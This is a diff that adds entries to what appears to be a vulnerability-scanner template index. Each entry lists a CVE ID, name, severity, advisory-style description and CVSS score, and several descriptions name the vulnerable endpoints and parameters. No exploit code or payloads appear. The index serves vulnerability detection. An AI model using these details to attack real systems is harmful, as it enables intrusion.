 {"ID":"CVE-2023-3849","Info":{"Name":"mooDating 1.2 - Cross-site scripting","Severity":"medium","Description":"A vulnerability, which was classified as problematic, was found in mooSocial mooDating 1.2. Affected is an unknown function of the file /find-a-match of the component URL Handler. The manipulation leads to cross site scripting. It is possible to launch the attack remotely.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-3849.yaml"}
 {"ID":"CVE-2023-38501","Info":{"Name":"CopyParty v1.8.6 - Cross Site Scripting","Severity":"medium","Description":"Copyparty is a portable file server. Versions prior to 1.8.6 are subject to a reflected cross-site scripting (XSS) Attack.Vulnerability that exists in the web interface of the application could allow an attacker to execute malicious javascript code by tricking users into accessing a malicious link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-38501.yaml"}
 {"ID":"CVE-2023-38646","Info":{"Name":"Metabase \u003c 0.46.6.1 - Remote Code Execution","Severity":"critical","Description":"Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-38646.yaml"}
+{"ID":"CVE-2023-38875","Info":{"Name":"PHP Login System 2.0.1 - Cross-Site Scripting","Severity":"medium","Description":"msaad1999's PHP-Login-System 2.0.1 contains a reflected cross-site scripting caused by unsanitized input in 'validator' parameter in /reset-password, letting remote attackers execute arbitrary JavaScript in a user's browser, exploit requires attacker to craft malicious URL\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-38875.yaml"}
 {"ID":"CVE-2023-38879","Info":{"Name":"openSIS v9.0 - Path Traversal","Severity":"high","Description":"A path traversal vulnerability exists in openSIS Classic Community Edition v9.0 via the 'filename' parameter in DownloadWindow.php. An unauthenticated remote attacker can exploit this to read arbitrary files on the server by manipulating file paths.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-38879.yaml"}
 {"ID":"CVE-2023-38950","Info":{"Name":"ZKTeco BioTime v8.5.5 - Path Traversal","Severity":"high","Description":"A path traversal vulnerability in the iclock API of ZKTeco BioTime v8.5.5 allows unauthenticated attackers to read arbitrary files via supplying a crafted payload.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-38950.yaml"}
 {"ID":"CVE-2023-38964","Info":{"Name":"Academy LMS 6.0 - Cross-Site Scripting","Severity":"medium","Description":"Creative Item Academy LMS 6.0 was discovered to contain a cross-site scripting (XSS) vulnerability through `query` parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-38964.yaml"}
@@ -2553,6 +2581,7 @@
 {"ID":"CVE-2023-39109","Info":{"Name":"rConfig 3.9.4 - Server-Side Request Forgery","Severity":"high","Description":"rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path_a parameter in the doDiff Function of /classes/compareClass.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2023/CVE-2023-39109.yaml"}
 {"ID":"CVE-2023-39110","Info":{"Name":"rConfig 3.9.4 - Server-Side Request Forgery","Severity":"high","Description":"rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path parameter at /ajaxGetFileByPath.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2023/CVE-2023-39110.yaml"}
 {"ID":"CVE-2023-39120","Info":{"Name":"Nodogsplash - Directory Traversal","Severity":"high","Description":"Nodogsplash product was affected by a directory traversal vulnerability that also impacted the OpenWrt product. This vulnerability was addressed in Nodogsplash version 5.0.1. Exploiting this vulnerability, remote attackers could read arbitrary files from the target system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-39120.yaml"}
+{"ID":"CVE-2023-39121","Info":{"Name":"Emlog 2.1.9 - SQL Injection","Severity":"high","Description":"emlog v2.1.9 contains a SQL injection caused by unsanitized input in the data backup/restore functionality, allowing attackers to execute arbitrary SQL commands through crafted backup files.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2023/CVE-2023-39121.yaml"}
 {"ID":"CVE-2023-39141","Info":{"Name":"Aria2 WebUI - Path traversal","Severity":"high","Description":"webui-aria2 commit 4fe2e was discovered to contain a path traversal vulnerability.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-39141.yaml"}
 {"ID":"CVE-2023-39143","Info":{"Name":"PaperCut \u003c 22.1.3 - Path Traversal","Severity":"critical","Description":"PaperCut NG and PaperCut MF before 22.1.3 are vulnerable to path traversal which enables attackers to read, delete, and upload arbitrary files.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-39143.yaml"}
 {"ID":"CVE-2023-3936","Info":{"Name":"Blog2Social \u003c 7.2.1 - Cross-Site Scripting","Severity":"medium","Description":"The Blog2Social WordPress plugin before 7.2.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-3936.yaml"}
@@ -2569,6 +2598,7 @@
 {"ID":"CVE-2023-40000","Info":{"Name":"LiteSpeed Cache \u003c= 5.7 - Unauthenticated Stored XSS","Severity":"high","Description":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in LiteSpeed Technologies LiteSpeed Cache allows Stored XSS.This issue affects LiteSpeed Cache- from n/a through 5.7.\n","Classification":{"CVSSScore":"8.3"}},"file_path":"http/cves/2023/CVE-2023-40000.yaml"}
 {"ID":"CVE-2023-40044","Info":{"Name":"WS_FTP Server - Insecure Deserialization","Severity":"critical","Description":"In WS_FTP Server versions prior to 8.7.4 and 8.8.2, a pre-authenticated attacker could leverage a .NET deserialization vulnerability in the Ad Hoc Transfer module to execute remote commands on the underlying WS_FTP Server operating system.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2023/CVE-2023-40044.yaml"}
 {"ID":"CVE-2023-40208","Info":{"Name":"Stock Ticker \u003c= 3.23.2 - Cross-Site Scripting","Severity":"medium","Description":"The Stock Ticker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in the ajax_stockticker_load function in versions up to, and including, 3.23.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-40208.yaml"}
+{"ID":"CVE-2023-40211","Info":{"Name":"Post Grid \u003c= 2.2.50 - Information Exposure via REST API","Severity":"high","Description":"Exposure of Sensitive Information to an Unauthorized Actor vulnerability in PickPlugins Post Grid Combo – 36+ Gutenberg Blocks.This issue affects Post Grid Combo – 36+ Gutenberg Blocks: from n/a through 2.2.50.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-40211.yaml"}
 {"ID":"CVE-2023-40355","Info":{"Name":"Axigen WebMail - Cross-Site Scripting","Severity":"medium","Description":"Cross Site Scripting (XSS) vulnerability in Axigen versions 10.3.3.0 before 10.3.3.59, 10.4.0 before 10.4.19, and 10.5.0 before 10.5.5, allows authenticated attackers to execute arbitrary code and obtain sensitive information via the logic for switching between the Standard and Ajax versions.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2023/CVE-2023-40355.yaml"}
 {"ID":"CVE-2023-40504","Info":{"Name":"LG Simple Editor \u003c= v3.21.0 - Command Injection","Severity":"critical","Description":"LG Simple Editor readVideoInfo Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of LG Simple Editor. Authentication is not required to exploit this vulnerability. The specific flaw exists within the readVideoInfo method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of SYSTEM.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-40504.yaml"}
 {"ID":"CVE-2023-40748","Info":{"Name":"PHPJabbers Food Delivery Script - SQL Injection","Severity":"critical","Description":"PHPJabbers Food Delivery Script 3.0 has a SQL injection (SQLi) vulnerability in the \"q\" parameter of index.php.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-40748.yaml"}
@@ -2604,6 +2634,7 @@
 {"ID":"CVE-2023-4174","Info":{"Name":"mooSocial 3.1.6 - Reflected Cross Site Scripting","Severity":"medium","Description":"A vulnerability has been found in mooSocial mooStore 3.1.6 and classified as problematic. Affected by this vulnerability is an unknown functionality. The manipulation leads to cross site scripting. The attack can be launched remotely.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-4174.yaml"}
 {"ID":"CVE-2023-41763","Info":{"Name":"Skype for Business 2019 (SfB) - Blind Server-side Request Forgery","Severity":"medium","Description":"Skype Pre-Auth Server-side Request Forgery (SSRF) vulnerability\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2023/CVE-2023-41763.yaml"}
 {"ID":"CVE-2023-41892","Info":{"Name":"CraftCMS \u003c 4.4.15 - Unauthenticated Remote Code Execution","Severity":"critical","Description":"Craft CMS is a platform for creating digital experiences. This is a high-impact, low-complexity attack vector leading to Remote Code Execution (RCE). Users running Craft installations before 4.4.15 are encouraged to update to at least that version to mitigate the issue. This issue has been fixed in Craft CMS 4.4.15.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-41892.yaml"}
+{"ID":"CVE-2023-41954","Info":{"Name":"ProfilePress \u003c= 4.13.1 — Unauthenticated Privilege Escalation","Severity":"high","Description":"Improper Privilege Management vulnerability in ProfilePress Membership Team ProfilePress allows Privilege Escalation.This issue affects ProfilePress: from n/a through 4.13.1.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2023/CVE-2023-41954.yaml"}
 {"ID":"CVE-2023-4220","Info":{"Name":"Chamilo LMS \u003c= 1.11.24 - Remote Code Execution","Severity":"medium","Description":"Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS \u003c= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-4220.yaml"}
 {"ID":"CVE-2023-42343","Info":{"Name":"OpenCMS - Cross-Site Scripting","Severity":"medium","Description":"OpenCMS below 10.5.1 is vulnerable to Cross-Site Scripting vulnerability.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2023/CVE-2023-42343.yaml"}
 {"ID":"CVE-2023-42344","Info":{"Name":"OpenCMS - XML external entity (XXE)","Severity":"high","Description":"users can execute code without authentication.  An attacker can execute malicious requests on the OpenCms server. When the requests are successful vulnerable OpenCms can be exploited resulting in an unauthenticated XXE vulnerability. Based on research OpenCMS versions from 9.0.0 to 10.5.0 are vulnerable.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2023/CVE-2023-42344.yaml"}
@@ -2706,6 +2737,7 @@
 {"ID":"CVE-2023-5558","Info":{"Name":"LearnPress \u003c 4.2.5.5 - Cross-Site Scripting","Severity":"medium","Description":"The LearnPress WordPress plugin before 4.2.5.5 does not sanitise and escape user input before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-5558.yaml"}
 {"ID":"CVE-2023-5559","Info":{"Name":"10Web Booster \u003c 2.24.18 - Unauthenticated Arbitrary Option Deletion","Severity":"critical","Description":"The 10Web Booster WordPress plugin before 2.24.18 does not validate the option name given to some AJAX actions, allowing unauthenticated users to delete arbitrary options from the database, leading to denial of service.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2023/CVE-2023-5559.yaml"}
 {"ID":"CVE-2023-5561","Info":{"Name":"WordPress Core - Post Author Email Disclosure","Severity":"medium","Description":"WordPress Core is vulnerable to Sensitive Information Exposure in versions between 4.7.0 and 6.3.1 via the User REST endpoint. While the search results do not display user email addresses unless the requesting user has the 'list_users' capability, the search is applied to the user_email column.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2023/CVE-2023-5561.yaml"}
+{"ID":"CVE-2023-5815","Info":{"Name":"News \u0026 Blog Designer Pack – WordPress Blog Plugin \u003c= 3.4.1 - Unauthenticated Local File Inclusion","Severity":"high","Description":"The News \u0026 Blog Designer Pack WordPress plugin up to version 3.4.1 contains a remote code execution caused by local file inclusion in the bdp_get_more_post function, letting unauthenticated attackers include arbitrary PHP files, exploit requires AJAX request with crafted POST data.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2023/CVE-2023-5815.yaml"}
 {"ID":"CVE-2023-5830","Info":{"Name":"ColumbiaSoft DocumentLocator - Improper Authentication","Severity":"critical","Description":"Instances of ColumbiaSoft's Document Locator prior to version 7.2 SP4 and 2021.1 are vulnerable to an Improper Authentication/SSRF vulnerability. This template identifies vulnerable instances of the ColumbiaSoft Document Locater application by confirming external DNS interaction/lookups by modifying the value of the client-side SERVER parameter at /api/authentication/login.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-5830.yaml"}
 {"ID":"CVE-2023-5863","Info":{"Name":"phpMyFAQ \u003c 3.2.0 - Cross-site Scripting","Severity":"medium","Description":"Cross-site Scripting (XSS) Reflected in GitHub repository thorsten/phpmyfaq prior to 3.2.2.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-5863.yaml"}
 {"ID":"CVE-2023-5914","Info":{"Name":"Citrix StoreFront - Cross-Site Scripting","Severity":"medium","Description":"Reflected Cross-Site Scripting issue which is exploitable without authentication. This vulnerability was exploitable through coercing an error message during an XML parsing procedure in the SSO flow.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-5914.yaml"}
@@ -2821,6 +2853,7 @@
 {"ID":"CVE-2024-1698","Info":{"Name":"NotificationX \u003c= 2.8.2 - SQL Injection","Severity":"critical","Description":"The NotificationX - Best FOMO, Social Proof, WooCommerce Sales Popup \u0026 Notification Bar Plugin With Elementor plugin for WordPress is vulnerable to SQL Injection via the 'type' parameter in all versions up to, and including, 2.8.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-1698.yaml"}
 {"ID":"CVE-2024-1709","Info":{"Name":"ConnectWise ScreenConnect 23.9.7 - Authentication Bypass","Severity":"critical","Description":"ConnectWise ScreenConnect 23.9.7 and prior are affected by an Authentication Bypass Using an Alternate Path or Channel vulnerability, which may allow an attacker direct access to confidential information or critical systems.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-1709.yaml"}
 {"ID":"CVE-2024-1728","Info":{"Name":"Gradio \u003e 4.19.1 UploadButton - Path Traversal","Severity":"high","Description":"gradio-app/gradio is vulnerable to a local file inclusion vulnerability due to improper validation of user-supplied input in the UploadButton component.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-1728.yaml"}
+{"ID":"CVE-2024-20404","Info":{"Name":"Cisco Finesse - Server-Side Request Forgery (SSRF)","Severity":"medium","Description":"Cisco Finesse contains an SSRF caused by insufficient validation of user-supplied input in HTTP requests, letting unauthenticated remote attackers access limited sensitive information, exploit requires sending crafted HTTP requests.\n","Classification":{"CVSSScore":"5.8"}},"file_path":"http/cves/2024/CVE-2024-20404.yaml"}
 {"ID":"CVE-2024-20419","Info":{"Name":"Cisco SSM On-Prem \u003c= 8-202206 - Password Reset Account Takeover","Severity":"critical","Description":"A vulnerability in the authentication system of Cisco Smart Software Manager On-Prem (SSM On-Prem) could allow an unauthenticated, remote attacker to change the password of any user, including administrative users. This vulnerability is due to improper implementation of the password-change process.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-20419.yaml"}
 {"ID":"CVE-2024-20439","Info":{"Name":"Hardcoded Admin Credentials For Cisco Smart Licensing Utility API","Severity":"critical","Description":"A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to log in to an affected system by using a static administrative credential.This vulnerability is due to an undocumented static user credential for an administrative account. An attacker could exploit this vulnerability by using the static credentials to log in to the affected system. A successful exploit could allow the attacker to log in to the affected system with administrative privileges over the API of the Cisco Smart Licensing Utility application.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-20439.yaml"}
 {"ID":"CVE-2024-20440","Info":{"Name":"Cisco Smart Licensing Utility UnAuthenticated Logs Exposure Leaking Plaintext Credentials","Severity":"high","Description":"A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to access sensitive information.This vulnerability is due to excessive verbosity in a debug log file. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to obtain log files that contain sensitive data, including credentials that can be used to access the API.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-20440.yaml"}
@@ -2984,6 +3017,7 @@
 {"ID":"CVE-2024-37393","Info":{"Name":"SecurEnvoy Two Factor Authentication - LDAP Injection","Severity":"critical","Description":"Multiple LDAP injections vulnerabilities exist in SecurEnvoy MFA before 9.4.514 due to improper validation of user-supplied input. An unauthenticated remote attacker could exfiltrate data from Active Directory through blind LDAP injection attacks against the DESKTOP service exposed on the /secserver HTTP endpoint. This may include ms-Mcs-AdmPwd, which has a cleartext password for the Local Administrator Password Solution (LAPS) feature.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-37393.yaml"}
 {"ID":"CVE-2024-3742","Info":{"Name":"Electrolink FM/DAB/TV Transmitter (controlloLogin.js) - Credentials Disclosure","Severity":"high","Description":"Electrolink transmitters store credentials in clear-text. Use of these credentials could allow an attacker to access the system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-3742.yaml"}
 {"ID":"CVE-2024-3753","Info":{"Name":"Hostel \u003c 1.1.5.3 - Cross-Site Scripting","Severity":"medium","Description":"The Hostel WordPress plugin before 1.1.5.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n","Classification":{"CVSSScore":"5.9"}},"file_path":"http/cves/2024/CVE-2024-3753.yaml"}
+{"ID":"CVE-2024-37656","Info":{"Name":"GnuBoard5 5.5.16 - Open Redirect","Severity":"medium","Description":"Gnuboard5 5.5.16 contains an open redirect vulnerability caused by insufficient URL parameter verification in bbs/logout.php, letting remote attackers redirect users to arbitrary URLs, exploit requires crafted URL parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-37656.yaml"}
 {"ID":"CVE-2024-37728","Info":{"Name":"OfficeWeb365 Indexs Interface - Arbitrary File Read","Severity":"high","Description":"There is any file reading in the officeWeb365 Indexs interface.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-37728.yaml"}
 {"ID":"CVE-2024-37843","Info":{"Name":"Craft CMS \u003c=v3.7.31 - SQL Injection","Severity":"critical","Description":"Craft CMS up to v3.7.31 was discovered to contain a SQL injection vulnerability via the GraphQL API endpoint.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-37843.yaml"}
 {"ID":"CVE-2024-37881","Info":{"Name":"SiteGuard WP Plugin \u003c= 1.7.6 - Login Page Disclosure","Severity":"medium","Description":"The SiteGuard WP Plugin plugin for WordPress is vulnerable to protection mechanism bypass in all versions up to, and including, 1.7.6. This is due to the plugin not restricting redirects from wp-register.php which may disclose the login page URL. This makes it possible for unauthenticated attackers to gain access to the login page.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-37881.yaml"}
@@ -3061,6 +3095,7 @@
 {"ID":"CVE-2024-46986","Info":{"Name":"Camaleon CMS \u003c 2.8.1 Arbitrary File Write to RCE","Severity":"critical","Description":"An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2024/CVE-2024-46986.yaml"}
 {"ID":"CVE-2024-47062","Info":{"Name":"Navidrome \u003c 0.53.0 - Authenticated SQL Injection","Severity":"critical","Description":"Navidrome is an open source web-based music collection server and streamer. Navidrome automatically adds parameters in the URL to SQL queries. This can be exploited to access information by adding parameters like `password=...` in the URL (ORM Leak). Furthermore, the names of the parameters are not properly escaped, leading to SQL Injections. Finally, the username is used in a `LIKE` statement, allowing people to log in with `%` instead of their username. When adding parameters to the URL, they are automatically included in an SQL `LIKE` statement (depending on the parameter's name). This allows attackers to potentially retrieve arbitrary information. For example, attackers can use the following request to test whether some encrypted passwords start with `AAA`. This results in an SQL query like `password LIKE 'AAA%'`, allowing attackers to slowly brute-force passwords. When adding parameters to the URL, they are automatically added to an SQL query. The names of the parameters are not properly escaped. This behavior can be used to inject arbitrary SQL code (SQL Injection). These vulnerabilities can be used to leak information and dump the contents of the database and have been addressed in release version 0.53.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-47062.yaml"}
 {"ID":"CVE-2024-47073","Info":{"Name":"DataEase v2.10.2 - JWT Signature Verification Bypass","Severity":"critical","Description":"DataEase is an open source data visualization analysis tool that helps users quickly analyze data and gain insights into business trends. In affected versions, the lack of signature verification of JWT tokens allows attackers to forge JWTs, which then allow access to any interface. The vulnerability has been fixed in v2.10.2 and all users are advised to upgrade. There are no known workarounds for this vulnerability.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-47073.yaml"}
+{"ID":"CVE-2024-47308","Info":{"Name":"Templately \u003c= 3.1.2 - Broken Access Control","Severity":"medium","Description":"Templately allow an attacker to logout users who signed in to their templately account, so you can sign in your templately account to exploit this vulnerability. Go to http://IP/wordpress/wp-admin/admin.php?page=templately\u0026path=sign-in to sign in then logout.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2024/CVE-2024-47308.yaml"}
 {"ID":"CVE-2024-47533","Info":{"Name":"Cobbler 'XML-RPC' - Authentication Bypass","Severity":"critical","Description":"Cobbler, a Linux installation server that allows for rapid setup of network installation environments, has an improper authentication vulnerability starting in version 3.0.0 and prior to versions 3.2.3 and 3.3.7. `utils.get_shared_secret()` always returns `-1`, which allows anyone to connect to cobbler XML-RPC as user `''` password `-1` and make any changes. This gives anyone with network access to a cobbler server full control of the server. Versions 3.2.3 and 3.3.7 fix the issue.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-47533.yaml"}
 {"ID":"CVE-2024-48248","Info":{"Name":"NAKIVO Backup and Replication Solution - Unauthenticated Arbitrary File Read","Severity":"high","Description":"NAKIVO Backup \u0026 Replication is a data protection solution used for backing up and restoring virtualized and physical environments. A vulnerability has been identified in certain versions of NAKIVO Backup \u0026 Replication that allows an unauthenticated attacker to read arbitrary files on the underlying system.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-48248.yaml"}
 {"ID":"CVE-2024-48307","Info":{"Name":"JeecgBoot v3.7.1 - SQL Injection","Severity":"critical","Description":"The JeecgBoot application is vulnerable to SQL Injection via the `getTotalData` endpoint. An attacker can exploit this vulnerability to extract sensitive information from the database by injecting SQL commands.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-48307.yaml"}
@@ -3085,6 +3120,7 @@
 {"ID":"CVE-2024-50623","Info":{"Name":"Cleo Harmony \u003c 5.8.0.21 - Arbitary File Read","Severity":"high","Description":"In Cleo Harmony before 5.8.0.21, VLTrader before 5.8.0.21, and LexiCom before 5.8.0.21, there is an unrestricted file upload and download that could lead to remote code execution.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-50623.yaml"}
 {"ID":"CVE-2024-5082","Info":{"Name":"Nexus Repository 2 - Remote Code Execution","Severity":"high","Description":"A Remote Code Execution vulnerability has been discovered in Sonatype Nexus Repository 2.This issue affects Nexus Repository 2 OSS/Pro versions up to and including 2.15.1.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-5082.yaml"}
 {"ID":"CVE-2024-5084","Info":{"Name":"Hash Form \u003c= 1.1.0 - Arbitrary File Upload","Severity":"critical","Description":"The Hash Form Drag \u0026 Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'file_upload_action' function in all versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-5084.yaml"}
+{"ID":"CVE-2024-50857","Info":{"Name":"GestioIP - Reflected Cross-Site Scripting","Severity":"medium","Description":"GestioIP v3.5.7 contains a reflected cross-site scripting caused by unsanitized input in the ip_do_job request, letting attackers execute scripts in the victim's browser, exploit requires specific user permissions.\n","Classification":{"CVSSScore":"4.8"}},"file_path":"http/cves/2024/CVE-2024-50857.yaml"}
 {"ID":"CVE-2024-50967","Info":{"Name":"DATAGERRY - Improper Access Control","Severity":"high","Description":"The /rest/rights/ REST API endpoint in Becon DATAGerry through 2.2.0 contains an Incorrect Access Control vulnerability. An attacker can remotely access this endpoint without authentication, leading to unauthorized disclosure of sensitive information.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-50967.yaml"}
 {"ID":"CVE-2024-51211","Info":{"Name":"openSIS Classic v9.1 - SQL Injection","Severity":"critical","Description":"SQL injection vulnerability exists in OS4ED openSIS-Classic Version 9.1, specifically in the resetuserinfo.php file. The vulnerability is due to improper input validation of the $username_stn_id parameter, which can be manipulated by an attacker to inject arbitrary SQL commands.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-51211.yaml"}
 {"ID":"CVE-2024-51228","Info":{"Name":"TOTOLINK CX-A3002RU - Remote Code Execution","Severity":"medium","Description":"An issue in TOTOLINK-CX-A3002RU V1.0.4-B20171106.1512 and TOTOLINK-CX-N150RT V2.1.6-B20171121.1002 and TOTOLINK-CX-N300RT V2.1.6-B20170724.1420 and TOTOLINK-CX-N300RT V2.1.8-B20171113.1408 and TOTOLINK-CX-N300RT V2.1.8-B20191010.1107 and TOTOLINK-CX-N302RE V2.0.2-B20170511.1523 allows a remote attacker to execute arbitrary code via the /boafrm/formSysCmd component.\n","Classification":{"CVSSScore":"6.8"}},"file_path":"http/cves/2024/CVE-2024-51228.yaml"}
@@ -3106,7 +3142,9 @@
 {"ID":"CVE-2024-5315","Info":{"Name":"Dolibarr ERP CMS `list.php` - SQL Injection","Severity":"critical","Description":"Vulnerabilities in Dolibarr ERP - CRM that affect version 9.0.1 and allow SQL injection.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-5315.yaml"}
 {"ID":"CVE-2024-5334","Info":{"Name":"Devika - Local File Inclusion","Severity":"high","Description":"A local file read vulnerability exists in the stitionai/devika repository, affecting the latest version. The vulnerability is due to improper handling of the 'snapshot_path' parameter in the '/api/get-browser-snapshot' endpoint. An attacker can exploit this vulnerability by crafting a request with a malicious 'snapshot_path' parameter, leading to arbitrary file read from the system. This issue impacts the security of the application by allowing unauthorized access to sensitive files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-5334.yaml"}
 {"ID":"CVE-2024-53704","Info":{"Name":"SSL VPN Session Hijacking","Severity":"critical","Description":"An Improper Authentication vulnerability in the SSLVPN authentication mechanism allows a remote attacker to bypass authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-53704.yaml"}
+{"ID":"CVE-2024-53900","Info":{"Name":"Mongoose \u003c 8.8.3 - Remote Code Execution","Severity":"critical","Description":"Mongoose before 8.8.3 can improperly use $where in match, leading to search injection.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-53900.yaml"}
 {"ID":"CVE-2024-53991","Info":{"Name":"Discourse Backup File Disclosure Via Default Nginx Configuration","Severity":"high","Description":"Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use `FileStore--LocalStore` which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-53991.yaml"}
+{"ID":"CVE-2024-53995","Info":{"Name":"SickChill - Open Redirect","Severity":"low","Description":"SickChill's login endpoint's 'next_' parameter accepts arbitrary content, allowing authenticated attackers to perform open redirects, but this was fixed in commit c7128a8946c3701df95c285810eb75b2de18bf82 by redirecting to a default page.\n","Classification":{"CVSSScore":"4.7"}},"file_path":"http/cves/2024/CVE-2024-53995.yaml"}
